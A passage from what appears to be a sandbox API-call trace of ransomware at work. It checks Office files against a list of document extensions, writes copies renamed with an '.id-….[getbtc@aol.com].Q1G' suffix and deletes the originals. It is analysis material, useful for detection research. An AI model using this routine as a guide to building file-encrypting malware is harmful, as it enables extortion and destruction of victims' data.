(lpString1=".zip", lpString2="sdir") returned -1 [0256.400] lstrlenW (lpString=".rar") returned 4 [0256.400] lstrcmpiW (lpString1=".rar", lpString2="sdir") returned -1 [0256.400] lstrlenW (lpString=".bz2") returned 4 [0256.400] lstrcmpiW (lpString1=".bz2", lpString2="sdir") returned -1 [0256.400] lstrlenW (lpString=".7z") returned 3 [0256.400] lstrcmpiW (lpString1=".7z", lpString2="dir") returned -1 [0256.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0256.400] lstrlenW (lpString=".dbf") returned 4 [0256.400] lstrcmpiW (lpString1=".dbf", lpString2="sdir") returned -1 [0256.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0256.400] lstrlenW (lpString=".1cd") returned 4 [0256.400] lstrcmpiW (lpString1=".1cd", lpString2="sdir") returned -1 [0256.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0256.400] lstrlenW (lpString=".jpg") returned 4 [0256.400] lstrcmpiW (lpString1=".jpg", lpString2="sdir") returned -1 [0256.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0256.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0256.400] lstrlenW (lpString=".doc") returned 4 [0256.400] lstrcmpiW (lpString1=".doc", lpString2="sdir") returned -1 [0256.400] lstrlenW (lpString=".docx") returned 5 [0256.400] lstrcmpiW (lpString1=".docx", lpString2="vsdir") returned -1 [0256.400] lstrlenW (lpString=".pdf") returned 4 [0256.400] lstrcmpiW (lpString1=".pdf", lpString2="sdir") returned -1 [0256.400] lstrlenW (lpString=".xls") returned 4 [0256.400] lstrcmpiW (lpString1=".xls", lpString2="sdir") returned -1 [0256.400] lstrlenW (lpString=".xlsx") returned 5 [0256.400] lstrcmpiW (lpString1=".xlsx", lpString2="vsdir") returned -1 [0256.400] lstrlenW (lpString=".ppt") returned 4 [0256.401] lstrcmpiW (lpString1=".ppt", lpString2="sdir") returned -1 [0256.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0256.401] lstrlenW (lpString=".zip") returned 4 [0256.401] lstrcmpiW (lpString1=".zip", lpString2="sdir") returned -1 [0256.401] lstrlenW (lpString=".rar") returned 4 [0256.401] lstrcmpiW (lpString1=".rar", lpString2="sdir") returned -1 [0256.401] lstrlenW (lpString=".bz2") returned 4 [0256.401] lstrcmpiW (lpString1=".bz2", lpString2="sdir") returned -1 [0256.401] lstrlenW (lpString=".7z") returned 3 [0256.401] lstrcmpiW (lpString1=".7z", lpString2="dir") returned -1 [0256.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0256.401] lstrlenW (lpString=".dbf") returned 4 [0256.401] lstrcmpiW (lpString1=".dbf", lpString2="sdir") returned -1 [0256.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0256.401] lstrlenW (lpString=".1cd") returned 4 [0256.401] lstrcmpiW (lpString1=".1cd", lpString2="sdir") returned -1 [0256.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0256.401] lstrlenW (lpString=".jpg") returned 4 [0256.401] lstrcmpiW (lpString1=".jpg", lpString2="sdir") returned -1 [0256.401] lstrcmpiW (lpString1=".VRD", lpString2=".Q1G") returned 1 [0256.401] lstrlenW (lpString="WDERRLNK.VRD") returned 12 [0256.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0256.402] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=1826) returned 1 [0256.402] CloseHandle (hObject=0x3c8) returned 1 [0256.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd")) returned 0x20 [0256.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0256.407] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.407] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0256.408] GetLastError () returned 0x0 [0256.408] ReadFile (in: hFile=0x3bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x722, lpOverlapped=0x0) returned 1 [0256.409] WriteFile (in: hFile=0x20c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x730, lpOverlapped=0x0) returned 1 [0256.410] ReadFile (in: hFile=0x3bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.410] WriteFile (in: hFile=0x20c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.410] SetEndOfFile (hFile=0x20c) returned 1 [0256.410] CloseHandle (hObject=0x20c) returned 1 [0256.410] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.410] SetEndOfFile (hFile=0x3bc) returned 1 [0256.412] CloseHandle (hObject=0x3bc) returned 1 [0256.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd")) returned 1 [0256.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0256.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0256.413] lstrlenW (lpString=".doc") returned 4 [0256.413] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0256.413] lstrlenW (lpString=".docx") returned 5 [0256.413] lstrcmpiW (lpString1=".docx", lpString2="K.VRD") returned -1 [0256.413] lstrlenW (lpString=".pdf") returned 4 [0256.413] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0256.413] lstrlenW (lpString=".xls") returned 4 [0256.413] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0256.413] lstrlenW (lpString=".xlsx") returned 5 [0256.413] lstrcmpiW (lpString1=".xlsx", lpString2="K.VRD") returned -1 [0256.413] lstrlenW (lpString=".ppt") returned 4 [0256.413] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0256.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0256.413] lstrlenW (lpString=".zip") returned 4 [0256.413] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0256.413] lstrlenW (lpString=".rar") returned 4 [0256.414] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0256.414] lstrlenW (lpString=".bz2") returned 4 [0256.414] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0256.414] lstrlenW (lpString=".7z") returned 3 [0256.414] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0256.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0256.414] lstrlenW (lpString=".dbf") returned 4 [0256.414] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0256.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0256.414] lstrlenW (lpString=".1cd") returned 4 [0256.414] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0256.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0256.414] lstrlenW (lpString=".jpg") returned 4 [0256.414] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0256.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0256.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0256.414] lstrlenW (lpString=".doc") returned 4 [0256.414] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0256.414] lstrlenW (lpString=".docx") returned 5 [0256.414] lstrcmpiW (lpString1=".docx", lpString2="K.VRD") returned -1 [0256.414] lstrlenW (lpString=".pdf") returned 4 [0256.414] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0256.414] lstrlenW (lpString=".xls") returned 4 [0256.414] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0256.414] lstrlenW (lpString=".xlsx") returned 5 [0256.414] lstrcmpiW (lpString1=".xlsx", lpString2="K.VRD") returned -1 [0256.414] lstrlenW (lpString=".ppt") returned 4 [0256.414] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0256.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0256.414] lstrlenW (lpString=".zip") returned 4 [0256.414] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0256.414] lstrlenW (lpString=".rar") returned 4 [0256.414] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0256.414] lstrlenW (lpString=".bz2") returned 4 [0256.414] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0256.414] lstrlenW (lpString=".7z") returned 3 [0256.414] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0256.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0256.415] lstrlenW (lpString=".dbf") returned 4 [0256.415] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0256.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0256.415] lstrlenW (lpString=".1cd") returned 4 [0256.415] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0256.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0256.415] lstrlenW (lpString=".jpg") returned 4 [0256.415] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0256.415] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0256.415] lstrlenW (lpString="WINPROJ.DEV.HXS") returned 15 [0256.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0256.416] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=4932186) returned 1 [0256.416] CloseHandle (hObject=0x3bc) returned 1 [0256.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs")) returned 0x20 [0256.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.416] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0256.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0256.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0256.416] lstrlenW (lpString=".doc") returned 4 [0256.416] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0256.417] lstrlenW (lpString=".docx") returned 5 [0256.417] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0256.417] lstrlenW (lpString=".pdf") returned 4 [0256.417] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0256.417] lstrlenW (lpString=".xls") returned 4 [0256.417] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0256.417] lstrlenW (lpString=".xlsx") returned 5 [0256.417] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0256.417] lstrlenW (lpString=".ppt") returned 4 [0256.417] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0256.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0256.417] lstrlenW (lpString=".zip") returned 4 [0256.417] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0256.417] lstrlenW (lpString=".rar") returned 4 [0256.417] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0256.417] lstrlenW (lpString=".bz2") returned 4 [0256.417] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0256.417] lstrlenW (lpString=".7z") returned 3 [0256.417] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0256.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0256.417] lstrlenW (lpString=".dbf") returned 4 [0256.417] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0256.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0256.417] lstrlenW (lpString=".1cd") returned 4 [0256.417] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0256.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0256.417] lstrlenW (lpString=".jpg") returned 4 [0256.417] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0256.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0256.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0256.417] lstrlenW (lpString=".doc") returned 4 [0256.417] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0256.417] lstrlenW (lpString=".docx") returned 5 [0256.417] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0256.417] lstrlenW (lpString=".pdf") returned 4 [0256.417] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0256.418] lstrlenW (lpString=".xls") returned 4 [0256.418] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0256.418] lstrlenW (lpString=".xlsx") returned 5 [0256.418] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0256.418] lstrlenW (lpString=".ppt") returned 4 [0256.418] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0256.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0256.418] lstrlenW (lpString=".zip") returned 4 [0256.418] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0256.418] lstrlenW (lpString=".rar") returned 4 [0256.418] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0256.418] lstrlenW (lpString=".bz2") returned 4 [0256.418] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0256.418] lstrlenW (lpString=".7z") returned 3 [0256.418] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0256.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0256.418] lstrlenW (lpString=".dbf") returned 4 [0256.418] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0256.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0256.418] lstrlenW (lpString=".1cd") returned 4 [0256.418] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0256.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0256.418] lstrlenW (lpString=".jpg") returned 4 [0256.418] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0256.418] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0256.418] lstrlenW (lpString="WINPROJ.DEV_COL.HXC") returned 19 [0256.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0256.419] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=651) returned 1 [0256.419] CloseHandle (hObject=0x3bc) returned 1 [0256.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc")) returned 0x20 [0256.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0256.419] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.419] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0256.420] GetLastError () returned 0x0 [0256.420] ReadFile (in: hFile=0x3bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x28b, lpOverlapped=0x0) returned 1 [0256.421] WriteFile (in: hFile=0x20c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x290, lpOverlapped=0x0) returned 1 [0256.422] ReadFile (in: hFile=0x3bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.422] WriteFile (in: hFile=0x20c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0256.423] SetEndOfFile (hFile=0x20c) returned 1 [0256.423] CloseHandle (hObject=0x20c) returned 1 [0256.423] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.423] SetEndOfFile (hFile=0x3bc) returned 1 [0256.425] CloseHandle (hObject=0x3bc) returned 1 [0256.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.425] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc")) returned 1 [0256.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0256.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0256.426] lstrlenW (lpString=".doc") returned 4 [0256.426] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0256.426] lstrlenW (lpString=".docx") returned 5 [0256.426] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0256.426] lstrlenW (lpString=".pdf") returned 4 [0256.426] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0256.426] lstrlenW (lpString=".xls") returned 4 [0256.426] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0256.426] lstrlenW (lpString=".xlsx") returned 5 [0256.426] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0256.426] lstrlenW (lpString=".ppt") returned 4 [0256.426] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0256.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0256.426] lstrlenW (lpString=".zip") returned 4 [0256.426] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0256.426] lstrlenW (lpString=".rar") returned 4 [0256.426] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0256.426] lstrlenW (lpString=".bz2") returned 4 [0256.426] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0256.426] lstrlenW (lpString=".7z") returned 3 [0256.426] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0256.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0256.426] lstrlenW (lpString=".dbf") returned 4 [0256.426] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0256.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0256.426] lstrlenW (lpString=".1cd") returned 4 [0256.426] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0256.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0256.426] lstrlenW (lpString=".jpg") returned 4 [0256.426] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0256.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0256.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0256.426] lstrlenW (lpString=".doc") returned 4 [0256.426] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0256.427] lstrlenW (lpString=".docx") returned 5 [0256.427] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0256.427] lstrlenW (lpString=".pdf") returned 4 [0256.427] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0256.427] lstrlenW (lpString=".xls") returned 4 [0256.427] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0256.427] lstrlenW (lpString=".xlsx") returned 5 [0256.427] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0256.427] lstrlenW (lpString=".ppt") returned 4 [0256.427] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0256.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0256.427] lstrlenW (lpString=".zip") returned 4 [0256.427] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0256.427] lstrlenW (lpString=".rar") returned 4 [0256.427] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0256.427] lstrlenW (lpString=".bz2") returned 4 [0256.427] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0256.427] lstrlenW (lpString=".7z") returned 3 [0256.427] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0256.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0256.427] lstrlenW (lpString=".dbf") returned 4 [0256.427] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0256.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0256.427] lstrlenW (lpString=".1cd") returned 4 [0256.427] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0256.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0256.427] lstrlenW (lpString=".jpg") returned 4 [0256.427] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0256.427] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0256.427] lstrlenW 